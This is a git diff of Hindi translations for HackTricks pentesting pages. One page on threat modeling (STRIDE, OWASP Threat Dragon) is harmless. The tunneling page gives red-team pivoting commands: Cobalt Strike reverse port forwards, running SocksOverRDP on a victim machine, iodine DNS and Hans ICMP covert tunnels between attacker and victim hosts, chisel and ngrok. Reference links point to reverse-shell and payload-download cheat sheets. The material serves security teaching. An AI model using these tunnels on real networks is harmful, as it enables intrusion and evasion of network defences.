[PS>Attack](https://github.com/jaredhaight/PSAttack) PS कंसोल कुछ आक्रामक PS मॉड्यूल के साथ प्रीलोडेड (साइफर्ड)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) PS कंसोल कुछ आक्रामक PS मॉड्यूल और प्रॉक्सी डिटेक्शन के साथ (IEX)
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
||||
* [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x)
|
||||
|
@ -483,24 +475,19 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS कंसोल कुछ
|
|||
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,27 +1,112 @@
|
|||
# धमकी मॉडलिंग
|
||||
# Threat Modeling
|
||||
|
||||
## धमकी मॉडलिंग
|
||||
|
||||
धमकी मॉडलिंग पर हैकट्रिक्स के व्यापक गाइड में आपका स्वागत है! साइबर सुरक्षा के इस महत्वपूर्ण पहलू की खोज करें, जहां हम सिस्टम में संभावित सुरक्षा कमजोरियों की पहचान, समझ और रणनीति बनाते हैं। यह थ्रेड एक कदम-से-कदम गाइड के रूप में काम करता है, जिसमें वास्तविक दुनिया के उदाहरण, सहायक सॉफ़्टवेयर और समझने में आसान व्याख्यानों के साथ भरी हुई है। यह नौसिखियों और अनुभवी प्रयोक्ताओं के लिए आदर्श है जो अपनी साइबर सुरक्षा संरक्षा को मजबूत करना चाहते हैं।
|
||||
## Threat Modeling
|
||||
|
||||
### आमतौर पर उपयोग किए जाने वाले परिदृश्य
|
||||
HackTricks के Threat Modeling पर व्यापक गाइड में आपका स्वागत है! साइबर सुरक्षा के इस महत्वपूर्ण पहलू की खोज में शामिल हों, जहां हम एक प्रणाली में संभावित कमजोरियों की पहचान, समझ और रणनीति बनाते हैं। यह थ्रेड वास्तविक दुनिया के उदाहरणों, सहायक सॉफ़्टवेयर और समझने में आसान व्याख्याओं के साथ एक चरण-दर-चरण गाइड के रूप में कार्य करता है। यह नवागंतुकों और अनुभवी प्रैक्टिशनरों दोनों के लिए आदर्श है जो अपनी साइबर सुरक्षा रक्षा को मजबूत करना चाहते हैं।
|
||||
|
||||
1. **सॉफ़्टवेयर विकास**: सुरक्षित सॉफ़्टवेयर विकास जीवन चक्र (SSDLC) का हिस्सा होने के रूप में, धमकी मॉडलिंग मदद करती है **विकास के पहले चरणों में संभावित सुरक्षा कमजोरियों की पहचान** में।
|
||||
2. **पेनेट्रेशन टेस्टिंग**: पेनेट्रेशन टेस्टिंग एक्जीक्यूशन स्टैंडर्ड (PTES) फ़्रेमवर्क **धमकी मॉडलिंग को समझने के लिए आवश्यक सिस्टम की सुरक्षा कमजोरियों** की पहचान करने के पहले करने की आवश्यकता होती है।
|
||||
### Commonly Used Scenarios
|
||||
|
||||
### एक अंडाकार में धमकी मॉडल
|
||||
1. **Software Development**: Secure Software Development Life Cycle (SSDLC) के हिस्से के रूप में, थ्रेट मॉडलिंग विकास के प्रारंभिक चरणों में **संभावित कमजोरियों के स्रोतों की पहचान** में मदद करती है।
|
||||
2. **Penetration Testing**: Penetration Testing Execution Standard (PTES) ढांचा **थ्रेट मॉडलिंग की आवश्यकता करता है ताकि प्रणाली की कमजोरियों को समझा जा सके** परीक्षण करने से पहले।
|
||||
|
||||
धमकी मॉडल आमतौर पर एक आरेख, छवि या किसी अन्य रूप में प्रस्तुत किया जाता है जो एक एप्लिकेशन की योजनित आर्किटेक्चर या मौजूदा बिल्ड को दर्शाता है। यह एक **डेटा फ्लो आरेख** की तरह दिखता है, लेकिन इसकी सुरक्षा-ओरिएंटेड डिज़ाइन में मुख्य भिन्नता होती है।
|
||||
### Threat Model in a Nutshell
|
||||
|
||||
धमकी मॉडल में अक्सर लाल रंग में चिह्नित तत्व शामिल होते हैं, जो संभावित सुरक्षा कमजोरियों, जोखिमों या बाधाओं की प्रतीक्षा करते हैं। जोखिम पहचान की प्रक्रिया को सुगम बनाने के लिए, सीआईए (गोपनीयता, सत्यापन, उपलब्धता) त्रिकोण इस्तेमाल किया जाता है, जो कई धमकी मॉडलिंग मेथडोलॉजीज़ का आधार बनाता है, जिसमें स्ट्राइड सबसे सामान्य है। हालांकि, विशेष संदर्भ और आवश्यकताओं पर निर्भर करता है कि चुनी गई मेथडोलॉजी कौन सी होगी।
|
||||
एक थ्रेट मॉडल आमतौर पर एक आरेख, छवि, या किसी अन्य दृश्य चित्रण के रूप में प्रस्तुत किया जाता है जो एक एप्लिकेशन की योजनाबद्ध आर्किटेक्चर या मौजूदा निर्माण को दर्शाता है। यह **डेटा फ्लो आरेख** के समान होता है, लेकिन इसकी सुरक्षा-उन्मुख डिज़ाइन में मुख्य भिन्नता होती है।
|
||||
|
||||
### सीआईए त्रिकोण
|
||||
थ्रेट मॉडल अक्सर लाल रंग में चिह्नित तत्वों को प्रदर्शित करते हैं, जो संभावित कमजोरियों, जोखिमों या बाधाओं का प्रतीक होते हैं। जोखिम पहचान की प्रक्रिया को सरल बनाने के लिए, CIA (Confidentiality, Integrity, Availability) त्रिकोण का उपयोग किया जाता है, जो कई थ्रेट मॉडलिंग पद्धतियों का आधार बनाता है, जिसमें STRIDE सबसे सामान्य है। हालाँकि, चुनी गई पद्धति विशिष्ट संदर्भ और आवश्यकताओं के आधार पर भिन्न हो सकती है।
|
||||
|
||||
सीआईए त्रिकोण सूचना सुरक्षा के क्षेत्र में एक व्यापक मान्यता प्राप्त मॉडल है, जो गोपनीयता, सत्यापन और उपलब्धता के लिए खड़ा है। ये तीन स्तंभ उन बहुत सारे सुरक्षा उपायों और नीतियों की नींव हैं, जिनमें धमकी मॉडलिंग मेथडोलॉजीज़ भी शामिल हैं।
|
||||
### The CIA Triad
|
||||
|
||||
1. **गोपनीयता**: यह सुनिश्चित करना है कि अनधिकृत व्यक्तियों द्वारा डेटा या सिस्टम तक पहुंच न हो। यह सुरक्षा का एक मुख्य पहलू है, जिसमें उचित पहुंच नियंत्रण, एन्क्रिप्शन और अन्य उपाय शामिल होते हैं ताकि डेटा लीकेज़ से बचा जा सके।
|
||||
2. **सत्यापन**: डेटा की सटीकता, संगतता और विश्वसनीयता उसके जीवनकाल में। यह सिद्धांत सुनिश्चित करता है कि अनधिकृत पक्षों द्वारा डेटा में कोई परिवर्तन नहीं किया जाता है या नहीं किया जाता है। इसमें चेकसम्स, हैशिंग और अन्य डेटा सत्यापन विधियाँ शामिल होती हैं।
|
||||
3. **उपलब्धता**: यह सुनिश्चित करता है कि जब आवश्यक हो, तो डेटा और सेवाएं अधिकृत उपयोगकर
|
||||
### [माइक्रोसॉफ्ट थ्रेट मॉडलिंग टूल](https://aka.ms/threatmodelingtool)
|
||||
CIA त्रिकोण सूचना सुरक्षा के क्षेत्र में एक व्यापक रूप से मान्यता प्राप्त मॉडल है, जो Confidentiality, Integrity, और Availability के लिए खड़ा है। ये तीन स्तंभ कई सुरक्षा उपायों और नीतियों की नींव बनाते हैं, जिसमें थ्रेट मॉडलिंग पद्धतियाँ शामिल हैं।
|
||||
|
||||
यह माइक्रोसॉफ्ट का एक मुफ्त टूल है जो सॉफ्टवेयर परियोजनाओं के डिज़ाइन चरण में खतरों का पता लगाने में मदद करता है। यह STRIDE मेथडोलॉजी का उपयोग करता है और विशेष रूप से माइक्रोसॉफ्ट के स्टैक पर विकसित करने वालों के लिए उपयुक्त है।
|
||||
1. **Confidentiality**: यह सुनिश्चित करना कि डेटा या प्रणाली को अनधिकृत व्यक्तियों द्वारा एक्सेस नहीं किया जा सके। यह सुरक्षा का एक केंद्रीय पहलू है, जिसमें डेटा उल्लंघनों को रोकने के लिए उचित एक्सेस नियंत्रण, एन्क्रिप्शन, और अन्य उपायों की आवश्यकता होती है।
|
||||
2. **Integrity**: डेटा के जीवन चक्र के दौरान सटीकता, स्थिरता, और विश्वसनीयता। यह सिद्धांत सुनिश्चित करता है कि डेटा को अनधिकृत पक्षों द्वारा परिवर्तित या छेड़छाड़ नहीं किया गया है। इसमें अक्सर चेकसम, हैशिंग, और अन्य डेटा सत्यापन विधियाँ शामिल होती हैं।
|
||||
3. **Availability**: यह सुनिश्चित करता है कि डेटा और सेवाएँ आवश्यकतानुसार अधिकृत उपयोगकर्ताओं के लिए सुलभ हैं। इसमें अक्सर प्रणाली को बाधाओं के बावजूद चलाने के लिए पुनरावृत्ति, दोष सहिष्णुता, और उच्च उपलब्धता कॉन्फ़िगरेशन शामिल होते हैं।
|
||||
|
||||
### Threat Modeling Methodlogies
|
||||
|
||||
1. **STRIDE**: Microsoft द्वारा विकसित, STRIDE **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, और Elevation of Privilege** के लिए एक संक्षिप्त नाम है। प्रत्येक श्रेणी एक प्रकार के खतरे का प्रतिनिधित्व करती है, और यह पद्धति एक कार्यक्रम या प्रणाली के डिज़ाइन चरण में संभावित खतरों की पहचान के लिए सामान्यतः उपयोग की जाती है।
|
||||
2. **DREAD**: यह Microsoft की एक और पद्धति है जो पहचाने गए खतरों के जोखिम मूल्यांकन के लिए उपयोग की जाती है। DREAD का अर्थ है **Damage potential, Reproducibility, Exploitability, Affected users, और Discoverability**। इनमें से प्रत्येक कारक को स्कोर किया जाता है, और परिणाम का उपयोग पहचाने गए खतरों को प्राथमिकता देने के लिए किया जाता है।
|
||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis): यह एक सात-चरणीय, **जोखिम-केंद्रित** पद्धति है। इसमें सुरक्षा उद्देश्यों को परिभाषित और पहचानना, तकनीकी दायरा बनाना, एप्लिकेशन विघटन, खतरे का विश्लेषण, कमजोरियों का विश्लेषण, और जोखिम/ट्रायज मूल्यांकन शामिल है।
|
||||
4. **Trike**: यह एक जोखिम-आधारित पद्धति है जो संपत्तियों की रक्षा पर ध्यान केंद्रित करती है। यह **जोखिम प्रबंधन** के दृष्टिकोण से शुरू होती है और उस संदर्भ में खतरों और कमजोरियों को देखती है।
|
||||
5. **VAST** (Visual, Agile, and Simple Threat modeling): यह दृष्टिकोण अधिक सुलभ होने का लक्ष्य रखता है और Agile विकास वातावरण में एकीकृत होता है। यह अन्य पद्धतियों के तत्वों को संयोजित करता है और **खतरों के दृश्य प्रतिनिधित्व** पर ध्यान केंद्रित करता है।
|
||||
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation): CERT Coordination Center द्वारा विकसित, यह ढांचा **विशिष्ट प्रणालियों या सॉफ़्टवेयर के बजाय संगठनात्मक जोखिम मूल्यांकन** की ओर केंद्रित है।
|
||||
|
||||
## Tools
|
||||
|
||||
थ्रेट मॉडल बनाने और प्रबंधित करने में मदद करने के लिए कई उपकरण और सॉफ़्टवेयर समाधान उपलब्ध हैं। यहाँ कुछ हैं जिन्हें आप विचार कर सकते हैं।
|
||||
|
||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||
|
||||
साइबर सुरक्षा पेशेवरों के लिए एक उन्नत क्रॉस-प्लेटफ़ॉर्म और मल्टी-फीचर GUI वेब स्पाइडर/क्रॉलर। स्पाइडर सूट का उपयोग हमले की सतह के मानचित्रण और विश्लेषण के लिए किया जा सकता है।
|
||||
|
||||
**Usage**
|
||||
|
||||
1. एक URL चुनें और क्रॉल करें
|
||||
|
||||
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. ग्राफ़ देखें
|
||||
|
||||
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
|
||||
|
||||
OWASP से एक ओपन-सोर्स प्रोजेक्ट, थ्रेट ड्रैगन एक वेब और डेस्कटॉप एप्लिकेशन है जिसमें सिस्टम आरेखण के साथ-साथ स्वचालित रूप से खतरों/निवारणों को उत्पन्न करने के लिए एक नियम इंजन शामिल है।
|
||||
|
||||
**Usage**
|
||||
|
||||
1. नया प्रोजेक्ट बनाएं
|
||||
|
||||
<figure><img src="../.gitbook/assets/create_new_project_1.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
कभी-कभी यह इस तरह दिख सकता है:
|
||||
|
||||
<figure><img src="../.gitbook/assets/1_threatmodel_create_project.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. नया प्रोजेक्ट लॉन्च करें
|
||||
|
||||
<figure><img src="../.gitbook/assets/launch_new_project_2.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. नए प्रोजेक्ट को सहेजें
|
||||
|
||||
<figure><img src="../.gitbook/assets/save_new_project.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
4. अपना मॉडल बनाएं
|
||||
|
||||
आप स्पाइडर सूट क्रॉलर जैसे उपकरणों का उपयोग कर सकते हैं ताकि आपको प्रेरणा मिल सके, एक बुनियादी मॉडल कुछ इस तरह दिखेगा
|
||||
|
||||
<figure><img src="../.gitbook/assets/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
संस्थाओं के बारे में थोड़ी व्याख्या:
|
||||
|
||||
* प्रक्रिया (जैसे वेब सर्वर या वेब कार्यक्षमता जैसी इकाई)
|
||||
* अभिनेता (एक व्यक्ति जैसे वेबसाइट विज़िटर, उपयोगकर्ता या प्रशासक)
|
||||
* डेटा फ्लो लाइन (इंटरएक्शन का संकेत)
|
||||
* ट्रस्ट बाउंडरी (विभिन्न नेटवर्क खंड या दायरे।)
|
||||
* स्टोर (वे चीजें जहां डेटा संग्रहीत होते हैं जैसे डेटाबेस)
|
||||
|
||||
5. एक खतरा बनाएं (चरण 1)
|
||||
|
||||
पहले आपको उस परत का चयन करना होगा जिसमें आप एक खतरा जोड़ना चाहते हैं
|
||||
|
||||
<figure><img src="../.gitbook/assets/3_threatmodel_chose-threat-layer.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
अब आप खतरा बना सकते हैं
|
||||
|
||||
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ध्यान रखें कि अभिनेता खतरों और प्रक्रिया खतरों के बीच एक अंतर है। यदि आप एक अभिनेता को खतरा जोड़ते हैं तो आप केवल "Spoofing" और "Repudiation" चुनने में सक्षम होंगे। हालाँकि, हमारे उदाहरण में हम एक प्रक्रिया इकाई को खतरा जोड़ते हैं इसलिए हम खतरा निर्माण बॉक्स में यह देखेंगे:
|
||||
|
||||
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
6. पूरा
|
||||
|
||||
अब आपका पूरा मॉडल कुछ इस तरह दिखना चाहिए। और इस तरह आप OWASP Threat Dragon के साथ एक सरल थ्रेट मॉडल बनाते हैं।
|
||||
|
||||
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||
|
||||
यह Microsoft का एक मुफ्त उपकरण है जो सॉफ़्टवेयर परियोजनाओं के डिज़ाइन चरण में खतरों को खोजने में मदद करता है। यह STRIDE पद्धति का उपयोग करता है और विशेष रूप से उन लोगों के लिए उपयुक्त है जो Microsoft के स्टैक पर विकास कर रहे हैं।
|
||||
|
|
|
@ -1,32 +1,24 @@
|
|||
# Tunneling and Port Forwarding
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Nmap tip
|
||||
## Nmap टिप
|
||||
|
||||
{% hint style="warning" %}
|
||||
**ICMP** और **SYN** स्कैन को सॉक्स प्रॉक्सी के माध्यम से टनल नहीं किया जा सकता, इसलिए हमें **पिंग डिस्कवरी** (`-Pn`) को **अक्षम** करना होगा और इसके लिए **TCP स्कैन** (`-sT`) निर्दिष्ट करना होगा।
|
||||
**ICMP** और **SYN** स्कैन को सॉक्स प्रॉक्सी के माध्यम से टनल नहीं किया जा सकता, इसलिए हमें **पिंग डिस्कवरी** को **अक्षम** करना होगा (`-Pn`) और इसके काम करने के लिए **TCP स्कैन** (`-sT`) निर्दिष्ट करना होगा।
|
||||
{% endhint %}
|
||||
|
||||
## **Bash**
|
||||
|
@ -177,9 +169,9 @@ To note:
|
|||
|
||||
- Beacon का रिवर्स पोर्ट फॉरवर्ड **टीम सर्वर के लिए ट्रैफ़िक टनल करने के लिए डिज़ाइन किया गया है, व्यक्तिगत मशीनों के बीच रिले करने के लिए नहीं**।
|
||||
- ट्रैफ़िक **बीकन के C2 ट्रैफ़िक के भीतर टनल किया जाता है**, जिसमें P2P लिंक शामिल हैं।
|
||||
- **उच्च पोर्ट पर रिवर्स पोर्ट फॉरवर्ड बनाने के लिए प्रशासनिक विशेषाधिकार की आवश्यकता नहीं है**।
|
||||
- **रिवर्स पोर्ट फॉरवर्ड बनाने के लिए एडमिन विशेषाधिकार की आवश्यकता नहीं है** उच्च पोर्ट पर।
|
||||
|
||||
### rPort2Port स्थानीय
|
||||
### rPort2Port local
|
||||
|
||||
{% hint style="warning" %}
|
||||
इस मामले में, **पोर्ट बीकन होस्ट में खोला जाता है**, टीम सर्वर में नहीं और **ट्रैफ़िक को कोबाल्ट स्ट्राइक क्लाइंट** (टीम सर्वर को नहीं) पर भेजा जाता है और वहां से निर्दिष्ट होस्ट:पोर्ट पर भेजा जाता है।
|
||||
|
@ -199,7 +191,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
|||
## Chisel
|
||||
|
||||
आप इसे [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) के रिलीज़ पृष्ठ से डाउनलोड कर सकते हैं।\
|
||||
आपको **क्लाइंट और सर्वर के लिए समान संस्करण का उपयोग करना होगा**
|
||||
आपको **क्लाइंट और सर्वर के लिए समान संस्करण का उपयोग करना होगा।**
|
||||
|
||||
### socks
|
||||
```bash
|
||||
|
@ -336,9 +328,9 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
अब हम **RDP** के माध्यम से **victim** से **`mstsc.exe`** का उपयोग करके **connect** कर सकते हैं, और हमें एक **prompt** प्राप्त होना चाहिए जिसमें कहा गया है कि **SocksOverRDP plugin is enabled**, और यह **127.0.0.1:1080** पर **listen** करेगा।
|
||||
अब हम **RDP** के माध्यम से **victim** से **`mstsc.exe`** का उपयोग करके **connect** कर सकते हैं, और हमें एक **prompt** प्राप्त होना चाहिए जिसमें कहा गया है कि **SocksOverRDP plugin is enabled**, और यह **listen** करेगा **127.0.0.1:1080** पर।
|
||||
|
||||
**RDP** के माध्यम से **connect** करें और victim मशीन में `SocksOverRDP-Server.exe` बाइनरी को अपलोड और निष्पादित करें:
|
||||
**Connect** करें **RDP** के माध्यम से और victim मशीन में `SocksOverRDP-Server.exe` बाइनरी को अपलोड और निष्पादित करें:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
|
@ -393,7 +385,7 @@ attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
|||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
#You can see the victim at 1.1.1.2
|
||||
```
|
||||
The tunnel बहुत धीमा होगा। आप इस टनल के माध्यम से एक संकुचित SSH कनेक्शन बना सकते हैं:
|
||||
The tunnel will be very slow. You can create a compressed SSH connection through this tunnel by using:
|
||||
```
|
||||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
```
|
||||
|
@ -426,18 +418,18 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
|||
|
||||
Proxychains `gethostbyname` libc कॉल को इंटरसेप्ट करता है और tcp DNS अनुरोध को socks प्रॉक्सी के माध्यम से टनल करता है। **डिफ़ॉल्ट** रूप से, **DNS** सर्वर जो proxychains उपयोग करता है वह **4.2.2.2** है (हार्डकोडेड)। इसे बदलने के लिए, फ़ाइल संपादित करें: _/usr/lib/proxychains3/proxyresolv_ और IP बदलें। यदि आप **Windows वातावरण** में हैं, तो आप **डोमेन कंट्रोलर** का IP सेट कर सकते हैं।
|
||||
|
||||
## गो में टनल
|
||||
## Go में टनल
|
||||
|
||||
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
|
||||
|
||||
## ICMP टनलिंग
|
||||
|
||||
### हैंस
|
||||
### Hans
|
||||
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
दोनों सिस्टम में रूट की आवश्यकता होती है ताकि tun एडाप्टर बनाए जा सकें और ICMP इको अनुरोधों का उपयोग करके उनके बीच डेटा टनल किया जा सके।
|
||||
दोनों सिस्टम में रूट की आवश्यकता होती है ताकि tun अडाप्टर बनाए जा सकें और ICMP इको अनुरोधों का उपयोग करके उनके बीच डेटा टनल किया जा सके।
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
|
@ -496,7 +488,7 @@ chmod a+x ./ngrok
|
|||
#### HTTP कॉल्स की स्निफिंग
|
||||
|
||||
*XSS, SSRF, SSTI ... के लिए उपयोगी*
|
||||
stdout से सीधे या HTTP इंटरफेस [http://127.0.0.1:4040](http://127.0.0.1:4000) में।
|
||||
सीधे stdout से या HTTP इंटरफेस [http://127.0.0.1:4040](http://127.0.0.1:4000) में।
|
||||
|
||||
#### आंतरिक HTTP सेवा का टनलिंग
|
||||
```bash
|
||||
|
@ -527,25 +519,17 @@ addr: file:///tmp/httpbin/
|
|||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
**ट्राई हार्ड सुरक्षा समूह**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) जांचें!
|
||||
